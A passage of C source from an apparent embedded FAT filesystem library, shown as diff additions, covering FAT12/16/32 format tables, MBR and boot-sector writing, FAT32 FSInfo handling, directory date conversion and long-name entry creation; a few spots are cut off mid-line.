the first entry +in the table for which the disk size is less than or equal +to the DiskSize field in that table entry. For this table to +work properly BPB_RsvdSecCnt must be 1, BPB_NumFATs +must be 2, and BPB_RootEntCnt must be 512. +*/ + + +//! Table format for FAT16 +_CONST_TYPE_ Fs_format_table TableFAT16[] = { + { 8400, 0}, // disks up to 4.1 MB, the 0 value for SecPerClusVal trips an error + { 32680, 2}, // disks up to 16 MB, 1k cluster + { 262144, 4}, // disks up to 128 MB, 2k cluster + { 524288, 8}, // disks up to 256 MB, 4k cluster + { 1048576, 16}, // disks up to 512 MB, 8k cluster + // The entries after this point are not used unless FAT16 is forced + { 2097152, 32}, // disks up to 1 GB, 16k cluster + { 4194304, 64}, // disks up to 2 GB, 32k cluster + { 0xFFFFFFFF, 0} // any disk greater than 2GB, 0 value for SecPerClusVal trips an error +}; +/* +NOTE: that this table includes +entries for disk sizes larger than 512 MB even though typically +only the entries for disks < 512 MB in size are used. +The way this table is accessed is to look for the first entry +in the table for which the disk size is less than or equal +to the DiskSize field in that table entry. For this table to +work properly BPB_RsvdSecCnt must be 1, BPB_NumFATs +must be 2, and BPB_RootEntCnt must be 512. Any of these values +being different may require the first table entries DiskSize value +to be changed otherwise the cluster count may be to low for FAT16. +*/ + + +//! Table format for FAT32 +_CONST_TYPE_ Fs_format_table TableFAT32[] = { + { 66600, 0}, // disks up to 32.5 MB, the 0 value for SecPerClusVal trips an error + { 532480, 1}, // disks up to 260 MB, .5k cluster + { 16777216, 8}, // disks up to 8 GB, 4k cluster + { 33554432, 16}, // disks up to 16 GB, 8k cluster + { 67108864, 32}, // disks up to 32 GB, 16k cluster + { 0xFFFFFFFF, 64} // disks greater than 32GB, 32k cluster +}; +/* +NOTE: that this table includes +entries for disk sizes smaller than 512 MB even though typically +only the entries for disks >= 512 MB in size are used. +The way this table is accessed is to look for the first entry +in the table for which the disk size is less than or equal +to the DiskSize field in that table entry. For this table to +work properly BPB_RsvdSecCnt must be 32, and BPB_NumFATs +must be 2. Any of these values being different may require the first +table entries DiskSize value to be changed otherwise the cluster count +may be to low for FAT32. +*/ + + +//! \name Sub routines used by format routine +//! @{ + +//! This function computes the FAT type to use +//! +//! @param u8_fat_type Select the type of format
+//! FS_FORMAT_DEFAULT, The file system module chooses the better FAT format for the drive space
+//! FS_FORMAT_FAT, The FAT12 or FAT16 is used to format the drive, if possible (disk space <2GB)
+//! FS_FORMAT_FAT32, The FAT32 is used to format the drive, if possible (disk space >32MB)
+//! @param b_MBR true, include a MBR on disk +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Compute the fat type, fat position and fat size. +//! @endverbatim +//! +Bool fat_select_filesystem( uint8_t u8_fat_type , Bool b_MBR ) +{ + uint8_t u8_i; + uint8_t u8_tmp = 0; + uint16_t u16_tmp, u16_tmp2; + Fs_format_table _CONST_TYPE_ *ptr_table; + + if( (FS_FORMAT_FAT != u8_fat_type ) + && (FS_FORMAT_FAT32 != u8_fat_type ) ) + { + // Default format then select the better FAT type + if( (((uint32_t)512*1024*1024)/FS_512B) >= fs_s_u32_size_partition ) + { + u8_fat_type = FS_FORMAT_FAT; + } else { + u8_fat_type = FS_FORMAT_FAT32; + } + } + + //** Verify the FAT type choosed + if(FS_FORMAT_FAT == u8_fat_type ) + { + if( (((uint32_t)2*1024*1024)/FS_512B) >= fs_s_u32_size_partition ) + { + fs_g_status = FS_ERR_DEVICE_TOO_SMALL; // The disk size is not supported + return false; + } + if( (((uint32_t)15*1024*1024)/FS_512B) >= fs_s_u32_size_partition ) + { + // FAT 12 format + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_12; + u8_i = sizeof(TableFAT12); + ptr_table = TableFAT12; + }else{ + // FAT 16 format + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_16; + u8_i = sizeof(TableFAT16); + ptr_table = TableFAT16; + } + } + else + { // FAT 32 format + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_32; + u8_i = sizeof(TableFAT32); + ptr_table = TableFAT32; + } + for( ; u8_i!=0 ; u8_i-- ) + { + if( fs_s_u32_size_partition <= ptr_table->u32_disk_size ) + { + // Get cluster size (unit sector) + fs_g_nav.u8_BPB_SecPerClus = ptr_table->u8_SecPerClusVal; + break; + } + ptr_table++; + } + if(0 == fs_g_nav.u8_BPB_SecPerClus) + { + fs_g_status = FS_ERR_BAD_SIZE_FAT; // The disk size is not supported by selected FAT type + return false; + } + + //** Compute fat size + // Compute PBR address + if( b_MBR ) + fs_g_nav.u32_ptr_fat = 1; // MBR exist + else + fs_g_nav.u32_ptr_fat = 0; // no MBR + + if( Is_fat12 ) + { // FAT 12 + fs_g_nav.u32_ptr_fat += 1; // FAT address = PBR address + 1 + // Try all possibility of FAT12 size + fs_g_nav.u32_fat_size=1; + while(1) + { + if( 12 < fs_g_nav.u32_fat_size) // Max FAT size in FAT12 mode (unit sector) (=0xFFE*1.5/FS_512B) + { + fs_g_status = FS_ERR_BAD_SIZE_FAT; // The disk size is not supported by file system selected + return false; + } + // Check if the number of cluster corresponding at data zone size + // Note: -1 to not compute PBR sector + u16_tmp = ((fs_s_u32_size_partition -1 - (fs_g_nav.u32_fat_size *2)) / fs_g_nav.u8_BPB_SecPerClus)+2; + u16_tmp2 = (fs_g_nav.u32_fat_size *FS_512B *2) / 3; + if( u16_tmp <= u16_tmp2 ) + break; // FAT size OK + + fs_g_nav.u32_fat_size++; + } + } + else + { + if( Is_fat32 ) + { // FAT 32 + fs_g_nav.u32_ptr_fat += 32; // FAT address = PBR address + BPB_ResvSecCnt + // RootDirSectors = ((BPB_RootEntCnt * 32) + (BPB_BytsPerSec - 1)) / BPB_BytsPerSec; + // = (FS_512B-1) / FS_512B = 0 + // TmpVal1 = DskSize - (BPB_ResvdSecCnt + RootDirSectors); + // = fs_s_u32_size_partition - (32 + 0) + // = fs_s_u32_size_partition - u8_tmp + u8_tmp = 32; + // TmpVal2 = ((256 * BPB_SecPerClus) + BPB_NumFATs )/2; + // = ((((uint16_t)fs_g_nav.u8_BPB_SecPerClus)<<8) + 2) >> 1; + // = (((uint16_t)fs_g_nav.u8_BPB_SecPerClus)<<7) + 1; + // = u16_tmp + u16_tmp = (((uint16_t)fs_g_nav.u8_BPB_SecPerClus)<<7) + 1; + // BPB_FATSz16 = 0; + // BPB_FATSz32 = FATSz; + } + if( Is_fat16 ) + { // FAT 16 + fs_g_nav.u32_ptr_fat += 1; // FAT address = PBR address + BPB_ResvSecCnt + // RootDirSectors = ((BPB_RootEntCnt * 32) + (BPB_BytsPerSec - 1)) / BPB_BytsPerSec + // = ((512 * 32) + (FS_512B-1)) / FS_512B + // = 32 + // TmpVal1 = DskSize - (BPB_ResvdSecCnt + RootDirSectors); + // = fs_s_u32_size_partition - (1 + 32) + // = fs_s_u32_size_partition - u8_tmp + u8_tmp = 33; + // TmpVal2 = ((256 * BPB_SecPerClus) + BPB_NumFATs )/2; + // = (((uint16_t)fs_g_nav.u8_BPB_SecPerClus)<<8) + 2; + // = u16_tmp + MSB(u16_tmp) = fs_g_nav.u8_BPB_SecPerClus; + LSB(u16_tmp) = 2; + } + // FATSz = (TMPVal1 + TmpVal2 - 1) / TmpVal2; + fs_g_nav.u32_fat_size = (fs_s_u32_size_partition -u8_tmp +u16_tmp -1) / u16_tmp; + } + + return true; +} + + +//! This function writes the MBR +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool fat_write_MBR( void ) +{ + uint8_t u8_i = 0; + + // Init and reset the internal cache at the beginning of memory + fs_gu32_addrsector = 0; + if( !fat_cache_read_sector( false )) + return false; + fat_cache_mark_sector_as_dirty(); + fat_cache_clear(); + + // MBR signature + fs_g_sector[510] = FS_BR_SIGNATURE_LOW; + fs_g_sector[511] = FS_BR_SIGNATURE_HIGH; + + // Write the partition entry in the MBR + fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0) +0] = FS_PART_NO_BOOTABLE; // Active partition + // Remark: cylinder and header start to 0, and sector value start to 1 + //fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0) +1] = 0; // The head (0) where the partition starts + fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0) +2] = 2; // The sector (2=next to MBR) and the cylinder (0) where the partition starts + //fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0) +3] = 0; + + // Write patition type + if( Is_fat32 ) + { // FAT 32 + u8_i = FS_PART_TYPE_FAT32; + } + if( Is_fat16 ) + { // FAT 16 + if( fs_s_u32_size_partition < (32L*1024*(1024/FS_512B)) ) + { // Disk < 32MB + u8_i = FS_PART_TYPE_FAT16_INF32M; + }else{ + u8_i = FS_PART_TYPE_FAT16_SUP32M; + } + } + if( Is_fat12 ) + { // FAT 12 + u8_i = FS_PART_TYPE_FAT12; + } + + fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0) +4] = u8_i; + + // The head where the partitions ends + fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0) +5] = (LSB1(fs_s_u32_size_partition)<<2) + (LSB0(fs_s_u32_size_partition)>>6); + // The sector and the cylinder where the partition ends + fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0) +6] = (LSB1(fs_s_u32_size_partition)&0xC0) + (LSB0(fs_s_u32_size_partition)&0x3F); + fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0) +7] = LSB2(fs_s_u32_size_partition); + + // Write partition position (in sectors) at offset 8 + fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0)+ 8] = 0x01; + //fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0)+ 9] = 0x00; + //fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0)+10] = 0x00; + //fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0)+11] = 0x00; + // Write the number of sector in partition (= size - one sector MBR = last LBA, return by read_capacity) + fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0)+12] = LSB0(fs_s_u32_size_partition); + fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0)+13] = LSB1(fs_s_u32_size_partition); + fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0)+14] = LSB2(fs_s_u32_size_partition); + fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(0)+15] = LSB3(fs_s_u32_size_partition); + + return true; +} + +//! \name Constante for fat_write_PBR() routine +_CONST_TYPE_ uint8_t const_header_pbr[] = { + 0xEB,0,0x90, // offset 00-02, Add jump boot flag + 'M','S','W','I','N','4','.','1', // offset 03-11, No add OEM name + FS_512B & 0xFF, FS_512B >>8, // offset 11-12, Add byte per sector + 0, // offset 13-13, Add sector by cluster + 0,0, // offset 14-15, Add Number of reserved sector (see next step for optimization test) + 2, // offset 16-16, Add Number of FAT + 0,0, // offset 17-18, Add Number of root entry (FAT32 = 0 entry, FAT16 = 512 entrys) + 0,0, + FS_PART_NO_REMOVE_MEDIA, // offset 21-21, Media byte + 0,0, + 0x3F,0, // offset 24-25, Sector per track (must be egal to MBR information, also maximum sector per head = 0x3F = 6bits) + 0,0, // offset 26-27, Number of header + 1 // offset 28-31, Number of hidden setors + }; +_CONST_TYPE_ uint8_t const_tail_pbr[] = { // offset 36 on FAT 16, offset 64 on FAT 32 + FS_PART_HARD_DISK, // Driver number + 0, // Reserved (used by Windows NT) + FS_BOOT_SIGN, // Extended boot signature + 0,0,0,0, // volume ID + 'N','O',' ','N','A','M','E',' ',' ',' ',' ', // volume label (11 characters); + 'F','A','T',' ',' ',' ',' ',' ', // FAT type in ASCII (8 characters); + }; + + +//! \name Constante of "FAT32 FSInfo Sector" +//! @{ +_CONST_TYPE_ uint8_t const_FSI_LeadSig[] = { + 0x52,0x52,0x61,0x41 //! offset 00-04, This lead signature +}; +_CONST_TYPE_ uint8_t const_FSI_StrucSig[] = { + 0x72,0x72,0x41,0x61 //! offset 484-487, signature +}; +//! @} + + +//! This function writes the PBR +//! +//! @param b_MBR true, include a MBR on disk +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool fat_write_PBR( Bool b_MBR ) +{ + uint16_t u16_tmp; + + //** Init the cache sector with PBR + if( b_MBR ) + fs_gu32_addrsector = 1; + else + fs_gu32_addrsector = 0; + + if( !fat_cache_read_sector( false )) + return false; + fat_cache_mark_sector_as_dirty(); + fat_cache_clear(); + + //** WRITE CONSTANTE & VARIABLE FOR FAT and FAT32 + memcpy_code2ram( fs_g_sector, const_header_pbr , sizeof(const_header_pbr) ); + // PBR signature + fs_g_sector[510] = FS_BR_SIGNATURE_LOW; + fs_g_sector[511] = FS_BR_SIGNATURE_HIGH; + + // offset 13-13, Add sector by cluster + fs_g_sector[13] = fs_g_nav.u8_BPB_SecPerClus; + // offset 26-27, Number of header + fs_g_sector[26] = (LSB1(fs_s_u32_size_partition)<<2) + (LSB0(fs_s_u32_size_partition)>>6); + + //** WRITE CONSTANTE & VARIABLE DEPENDING OF FAT16 and FAT32 + // Since offset 36, there are a different structure space for FAT16 and FAT32 + // offset 39-42 or 67-70, Volume ID not used + // offset 43-53 or 71-81, Volume Label + // offset 54-61 or 82-89, File system type + if( Is_fat32 ) + { + memcpy_code2ram( &fs_g_sector[64], const_tail_pbr, sizeof(const_tail_pbr) ); + }else{ + memcpy_code2ram( &fs_g_sector[36], const_tail_pbr, sizeof(const_tail_pbr) ); + } + + u16_tmp = (uint16_t)fs_g_nav.u32_fat_size; // save value in fast data space to optimize code + if( Is_fat32 ) + { + // offset 14-15, Add Number of reserved sector, FAT32 = 32 sectors + fs_g_sector[14] = 32; + // offset 17-18, Add Number of root entry, FAT32 = 0 entry + // offset 36-39, Fat size 32bits + LOW0_32_BPB_FATSz32 = LSB(u16_tmp); + LOW1_32_BPB_FATSz32 = MSB(u16_tmp); + // offset 40-41, Ext flags (all FAT are enabled = 0) + // offset 42-43, Fs version (version0:0 = 0) + // offset 44-47, Root Cluster (first free cluster = 2) + fs_g_sector[44]= 2; + // offset 48-49, Fs Info (usualy 1) + fs_g_sector[48]= 1; + // offset 50-51, Backup Boot Sector (usualy 6) + // fs_g_sector[50]= 0; + // offset 52-63, reserved space + // offset 54-61, File system type + fs_g_sector[85]='3'; + fs_g_sector[86]='2'; + // Update FSInfo position + fs_g_nav.u16_offset_FSInfo = (32-1); + } + else + { + // FAT 12 or 16 + // offset 14-15, Add Number of reserved sector, FAT = 1 sector + fs_g_sector[14] = 1; + // offset 17-18, Add Number of root entry, FAT = 512 entrys + //fs_g_sector[17] = 512&0xFF; + fs_g_sector[18] = 512>>8; + + // offset 22-23, Fat size 16bits + LOW_16_BPB_FATSz16 = LSB(u16_tmp); + HIGH_16_BPB_FATSz16 = MSB(u16_tmp); + // offset 54-61, File system type + fs_g_sector[57]='1'; + if( Is_fat12 ) + { + fs_g_sector[58]='2'; + }else{ + fs_g_sector[58]='6'; + } + } + + // Write the number of sector in partition (= size - one sector MBR = last LBA, return by read_capacity) + if( ( Is_fat32 ) + || ((0x10000-1) <= fs_s_u32_size_partition) ) + { + // FAT32 or disk > 32MB + // offset 32-35, Number of sector in partition (value 32 bits) + fs_g_sector[32] = LSB0(fs_s_u32_size_partition); + fs_g_sector[33] = LSB1(fs_s_u32_size_partition); + fs_g_sector[34] = LSB2(fs_s_u32_size_partition); + fs_g_sector[35] = LSB3(fs_s_u32_size_partition); + } + else + { + // offset 19-20, Number of sector in partition (value 16 bits) + fs_g_sector[19] = LSB0(fs_s_u32_size_partition); + fs_g_sector[20] = LSB1(fs_s_u32_size_partition); + } + + if( Is_fat32 ) + { + // Init the FAT32 FSInfo Sector + if( !fat_write_fat32_FSInfo( 0xFFFFFFFF )) + return false; + } + return true; +} +//! @} + +#ifdef FS_FAT_32 +//! This function writes the space free number in selected FAT32 partition +//! +//! Read global value "fs_g_status" in case of error : +//! FS_ERR_HW Hardware driver error +//! FS_ERR_HW_NO_PRESENT Device not present +//! FS_LUN_WP Drive is read only +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool fat_write_fat32_FSInfo( uint32_t u32_nb_free_cluster ) +{ + // Init sector + fs_gu32_addrsector = fs_g_nav.u32_ptr_fat - fs_g_nav.u16_offset_FSInfo; + + if( !fat_cache_read_sector( false )) + return false; + fat_cache_mark_sector_as_dirty(); + fat_cache_clear(); + + // Fill sector + // offset 00-04, This lead signature + memcpy_code2ram( &fs_g_sector[0], const_FSI_LeadSig, sizeof(const_FSI_LeadSig) ); + // offset 004-483, reserved (fill with 0) + // offset 484-487, signature + memcpy_code2ram( &fs_g_sector[484], const_FSI_StrucSig, sizeof(const_FSI_StrucSig) ); + // offset 488-491, free cluster count (by default NO value) + fs_g_sector[488] = LSB0(u32_nb_free_cluster); + fs_g_sector[489] = LSB1(u32_nb_free_cluster); + fs_g_sector[490] = LSB2(u32_nb_free_cluster); + fs_g_sector[491] = LSB3(u32_nb_free_cluster); + // offset 492-495, indicates the cluster number at which the driver should start looking for free clusters (by default NO value) + memset( &fs_g_sector[492] , 0xFF , 4 ); + // offset 496-509, reserved (fill with 0) + // offset 510-511, Signature + fs_g_sector[510] = FS_BR_SIGNATURE_LOW; + fs_g_sector[511] = FS_BR_SIGNATURE_HIGH; + return true; +} + + +//! This function returns the space free in the selected FAT32 partition +//! +//! @return the number of sector free (if 0xFFFFFFFF, then no value available in FSInfo Sector) +//! +uint32_t fat_read_fat32_FSInfo( void ) +{ + uint32_t u32_nb_free_cluster; + + // Read FAT32 FSInfo Sector + fs_gu32_addrsector = fs_g_nav.u32_ptr_fat - fs_g_nav.u16_offset_FSInfo; + if( !fat_cache_read_sector( true )) + return 0xFFFFFFFF; + + //* Check signature + // offset 510-511, Signature + if( fs_g_sector[510] != FS_BR_SIGNATURE_LOW ) + return 0xFFFFFFFF; + if( fs_g_sector[511] != FS_BR_SIGNATURE_HIGH) + return 0xFFFFFFFF; + // offset 00-04, This lead signature + if( 0 != memcmp_code2ram( &fs_g_sector[0], const_FSI_LeadSig, sizeof(const_FSI_LeadSig) )) + return 0xFFFFFFFF; + // offset 004-483, reserved (fill with 0) + // offset 484-487, signature + if( 0 != memcmp_code2ram( &fs_g_sector[484], const_FSI_StrucSig, sizeof(const_FSI_StrucSig)) ) + return 0xFFFFFFFF; + + //* Read value + // offset 488-491, free cluster count + LSB0(u32_nb_free_cluster) = fs_g_sector[488]; + LSB1(u32_nb_free_cluster) = fs_g_sector[489]; + LSB2(u32_nb_free_cluster) = fs_g_sector[490]; + LSB3(u32_nb_free_cluster) = fs_g_sector[491]; + return u32_nb_free_cluster; +} +#endif // FS_FAT_32 + + +//! This function cleans the reserved zone, FAT zone, and root dir zone +//! +//! @param b_MBR true, include a MBR on disk +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool fat_clean_zone( Bool b_MBR ) +{ + uint16_t u16_nb_sector_clean, u16_i; + _MEM_TYPE_SLOW_ uint8_t *ptr; + + // Flush the internal cache before clear the cache + if( !fat_cache_flush()) + return false; + fat_cache_clear(); + + // remark: these zones are stored after the PBR and are continues + // Start after PBR + if( b_MBR ) + { + fs_gu32_addrsector = 2; // Jump MBR and PBR + }else{ + fs_gu32_addrsector = 1; // Jump only a PBR (no MBR create) + } + + // Compute reserved zone size and root size + if( Is_fat32 ) + { // FAT 32 + fs_gu32_addrsector++; // Jump FAT32 FSInfo Sector + // root size = cluster size AND reserved zone = 32 - 2 (2 = PBR + FSInfo) + u16_nb_sector_clean = fs_g_nav.u8_BPB_SecPerClus + 30; + } + else + { // FAT 12 or 16 + // root size = 512 entrys = 32 sectors AND reserved zone = 1 - 1(PBR) + u16_nb_sector_clean = 32; + } + u16_nb_sector_clean += ((uint16_t)fs_g_nav.u32_fat_size*2); // Add FAT size + + // loop to clean + for( ; u16_nb_sector_clean!=0; u16_nb_sector_clean-- ) + { + // To improve the format time + // We check if the sector is clean (0x00) instead of write a clean sector. + if( !fat_cache_read_sector( true )) + return false; + ptr = fs_g_sector; + for( u16_i=0; u16_i +//! storage format (ASCII) = "YYYYMMDDHHMMSSMS" = year, month, day, hour, minute, seconde, miliseconde +//! +void fat_get_date( FS_STRING sz_date , Bool type_date ) +{ + PTR_CACHE ptr_entry; + + ptr_entry = fat_get_ptr_entry(); + if( FS_DATE_LAST_WRITE == type_date ) + { + fat_translatedate_number_to_ascii( sz_date , &ptr_entry[22] , false ); + } + else + { + fat_translatedate_number_to_ascii( sz_date , &ptr_entry[13] , true ); + } +} + + +//! This function translates a date FAT value to ascii string +//! +//! @param sz_date table to store the date information
+//! storage format (ASCII) = "YYYYMMDDHHMMSSMS" = year, month, day, hour, minute, seconde, miliseconde +//! @param ptr_date pointer on date in internal cache +//! @param enable_ms true, translate the millisecond field +//! +void fat_translatedate_number_to_ascii( FS_STRING sz_date , PTR_CACHE ptr_date , Bool enable_ms ) +{ + FS_STRING ptr_string_date; + uint8_t u8_i; + uint8_t msb_date, lsb_date, msb_time, lsb_time, u8_ms = 0; + + // Read entry value of date and time + if( enable_ms ) + { + u8_ms = *ptr_date; + ptr_date++; + } + lsb_time = *ptr_date; + ptr_date++; + msb_time = *ptr_date; + ptr_date++; + lsb_date = *ptr_date; + ptr_date++; + msb_date = *ptr_date; + + // Initialise the string with "1980000000000000" (Year = 1980 and other at 0) + ptr_string_date = sz_date; + *ptr_string_date = '1'; + ptr_string_date++; + *ptr_string_date = '9'; + ptr_string_date++; + *ptr_string_date = '8'; + ptr_string_date++; + for( u8_i=(15-2) ; u8_i!=0 ; u8_i-- ) + { + *ptr_string_date = '0'; + ptr_string_date++; + } + + // Get the year + fat_translate_number_to_ascii( sz_date, 4 , msb_date>>1 ); + + // Get the month + fat_translate_number_to_ascii( &sz_date[4] , 2 , ((msb_date & 0x01)<<3) + (lsb_date>>5) ); + + // Get the day + fat_translate_number_to_ascii( &sz_date[6] , 2 , lsb_date & 0x1F ); + + // Get the hour + fat_translate_number_to_ascii( &sz_date[8] , 2 , msb_time >> (11-8) ); + + // Get the minute + fat_translate_number_to_ascii( &sz_date[10] , 2 , ((msb_time & 0x07)<<3) + (lsb_time>>5) ); + + // Get the seconde + fat_translate_number_to_ascii( &sz_date[12] , 2 , (lsb_time & 0x1F)<<1 ); + if( 99 < u8_ms ) + { + // Add one seconde + fat_translate_number_to_ascii( &sz_date[12] , 2 , 1 ); + u8_ms -= 100; + } + + // Get the miliseconde + fat_translate_number_to_ascii( &sz_date[14] , 2 , u8_ms ); +} + + +//! This function translates a digital number to a ASCII number +//! +//! @param sz_ascii_number ascii string to increment (ex:"1907") +//! @param u8_size_number_ascii number of digit (ex:4) +//! @param u8_nb_increment number to add (ex:"102") +//! +//! @verbatim +//! OUT, Update sz_ascii_number (ex:"2009") +//! @endverbatim +//! +void fat_translate_number_to_ascii( FS_STRING sz_ascii_number, uint8_t u8_size_number_ascii, uint8_t u8_nb_increment ) +{ + FS_STRING ptr_sz_ascii_number; + + u8_size_number_ascii--; + + for( ; u8_nb_increment != 0 ; u8_nb_increment-- ) + { + ptr_sz_ascii_number = sz_ascii_number + u8_size_number_ascii; + ptr_sz_ascii_number[0]++; + while( ('9'+1) == *ptr_sz_ascii_number ) + { + *ptr_sz_ascii_number = '0'; + ptr_sz_ascii_number--; + ptr_sz_ascii_number[0]++; + } + } +} + + +#if (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET)) +//! This function changes the date information +//! +//! @param type_date choose date field (FS_DATE_LAST_WRITE or FS_DATE_CREATION) +//! @param sz_date table with date information
+//! storage format (ASCII) = "YYYYMMDDHHMMSSMS" = year, month, day, hour, minute, seconde, miliseconde +//! +//! @verbatim +//! OUT, update cache sector with the new date +//! @endverbatim +//! +void fat_set_date( const FS_STRING sz_date , Bool type_date ) +{ + PTR_CACHE ptr_entry; + + fat_cache_mark_sector_as_dirty(); + ptr_entry = fat_get_ptr_entry(); + + if( FS_DATE_LAST_WRITE == type_date ) + { + fat_translatedate_ascii_to_number( sz_date , &ptr_entry[22] , false ); + } + else + { + fat_translatedate_ascii_to_number( sz_date , &ptr_entry[13] , true ); + } +} + + +//! This function translates a date ascii string to date FAT value +//! +//! @param sz_date table with date information
+//! storage format (ASCII) = "YYYYMMDDHHMMSSMS" = year, month, day, hour, minute, seconde, miliseconde +//! @param ptr_date pointer on date in internal cache +//! @param enable_ms true, translate the millisecond field +//! +//! @verbatim +//! OUT, write the date field at ptr_date +//! @endverbatim +//! +void fat_translatedate_ascii_to_number( const FS_STRING sz_date , PTR_CACHE ptr_date , Bool enable_ms ) +{ + uint8_t u8_tmp; + uint8_t msb_date, lsb_date, msb_time, lsb_time; + + // Set the year + msb_date = ((uint8_t)(fat_translate_ascii_to_number( sz_date , 4 )-1980))<<1; + + // Set the month + u8_tmp = (uint8_t)fat_translate_ascii_to_number( &sz_date[4] , 2 ); + msb_date |= (u8_tmp >> 3); + lsb_date = (u8_tmp << 5); + + // Set the day + lsb_date |= (uint8_t)fat_translate_ascii_to_number( &sz_date[6] , 2 ); + + // Set the hour + msb_time = ((uint8_t)fat_translate_ascii_to_number( &sz_date[8] , 2 )) << (11-8); + + // Set the minute + u8_tmp = (uint8_t)fat_translate_ascii_to_number( &sz_date[10] , 2 ); + msb_time |= (u8_tmp >> 3); + lsb_time = (u8_tmp << 5); + + // Set the seconde + u8_tmp = (uint8_t)fat_translate_ascii_to_number( &sz_date[12] , 2 ); + lsb_time |= (u8_tmp >> 1); + + // Set the miliseconde + if( enable_ms ) + { + // check if the seconde time is %2 + if( u8_tmp & 0x01 ) + { // it isn't %2 + u8_tmp = 100; // add one seconde + } + else + { + u8_tmp = 0; // no more seconde + } + *ptr_date = u8_tmp + (uint8_t)fat_translate_ascii_to_number( &sz_date[14] , 2 ); + ptr_date++; + } + + // Record value + ptr_date[0] = lsb_time; + ptr_date[1] = msb_time; + ptr_date[2] = lsb_date; + ptr_date[3] = msb_date; +} + + +//! This function translates a ASCII number to a digital number +//! +//! @param sz_ascii_number ascii number (ex:"1907") +//! @param u8_size_number_ascii number of digit (ex:4) +//! +//! @return the digital number +//! +//! @verbatim +//! OUT, update sz_ascii_number +//! @endverbatim +//! +uint16_t fat_translate_ascii_to_number( const FS_STRING sz_ascii_number, uint8_t u8_size_number_ascii ) +{ + uint8_t sz_ascii_number_copy[4]; + uint8_t _MEM_TYPE_FAST_ *ptr_sz_ascii_number; + uint8_t u8_i; + uint16_t u16_number; + + for( u8_i=0; u8_i < u8_size_number_ascii; u8_i++ ) + { + sz_ascii_number_copy[u8_i] = sz_ascii_number[u8_i]; + } + + u16_number=0; + + while( 1 ) + { + // Check if it is the end of ascii number (= "0...0") + ptr_sz_ascii_number = sz_ascii_number_copy; + for( u8_i = u8_size_number_ascii; u8_i !=0; u8_i-- ) + { + if( '0' != *ptr_sz_ascii_number ) + { + break; + } + ptr_sz_ascii_number++; + } + if( 0 == u8_i) + return u16_number; + + // Decrement the number + ptr_sz_ascii_number = sz_ascii_number_copy + u8_size_number_ascii -1; + u16_number++; + ptr_sz_ascii_number[0]--; + while( ('0'-1) == ptr_sz_ascii_number[0] ) + { + *ptr_sz_ascii_number = '9'; + ptr_sz_ascii_number--; + ptr_sz_ascii_number[0]--; + } + } +} +#endif // FS_LEVEL_FEATURES + + + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) +//! This function creates the short and the long name of a new entry +//! +//! @param sz_name name to create (ASCII or UNICODE) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! IN: +//! b_unicode is a global flag to select UNICODE or ASCII +//! The name must be terminated by NULL and it can't have two dot characters. +//! @endverbatim +//! +Bool fat_create_entry_file_name( FS_STRING sz_name ) +{ + uint8_t u8_i, u8_nb; + uint8_t u8_crc, u8_nb_entry; + + // Compute the number of entry for this name + u8_nb_entry = fat_check_name( sz_name ); + if( 0 == u8_nb_entry ) + return false; + + // Search a unik short entry + u8_nb = fat_find_short_entry_name( sz_name ); + if( 0 == u8_nb ) + { + fs_g_status = FS_ERR_FILE_EXIST; + return false; // All short name exist + } + + // Alloc a space for entrys + if( !fat_alloc_entry_free( u8_nb_entry )) + return false; + // Remark: here the pointer of entry is on the last free entry of new space allocated + + // Add short name entry + u8_crc = fat_create_short_entry_name( sz_name , 0 , u8_nb, false ); + u8_nb_entry--; + + // For each long name entry + for( u8_i=1 ; u8_i<=u8_nb_entry ; u8_i++ ) + { + // Go to previous entry + fs_g_nav_fast.u16_entry_pos_sel_file--; + if( !fat_read_dir()) + return false; + // Write a long name entry + if( u8_i == u8_nb_entry ) + { + u8_i += FS_ENTRY_LFN_LAST; + } + fat_create_long_name_entry( sz_name , u8_crc , u8_i ); + sz_name += FS_SIZE_LFN_ENTRY*(Is_unicode? 2 : 1 ); + } + // Go back to the short name entry + fs_g_nav_fast.u16_entry_pos_sel_file += u8_nb_entry; + return true; +} + + +//! This function creates a long name entry +//! +//! @param sz_name name to create (ASCII or UNICODE) +//! @param u8_crc crc corresponding at short name +//! @param u8_id long entry number (1 to n + FS_ENTRY_LFN_LAST) +//! +//! @verbatim +//! OUT: Update the entry in internal cache sector with a new long name entry +//! @endverbatim +//! +void fat_create_long_name_entry( FS_STRING sz_name , uint8_t u8_crc , uint8_t u8_id ) +{ + PTR_CACHE ptr_entry; + Bool b_end_of_name = false; + + fat_cache_mark_sector_as_dirty(); + ptr_entry = fat_get_ptr_entry(); + *ptr_entry = u8_id; + ptr_entry++; // The long name start at offset 1 of the entry file + + for( u8_id=1; u8_id +//! false to write in internal cache +//! +//! @return short name CRC +//! +uint8_t fat_create_short_entry_name( FS_STRING sz_name , FS_STRING short_name , uint8_t nb , Bool mode ) +{ + PTR_CACHE ptr_entry = 0; + 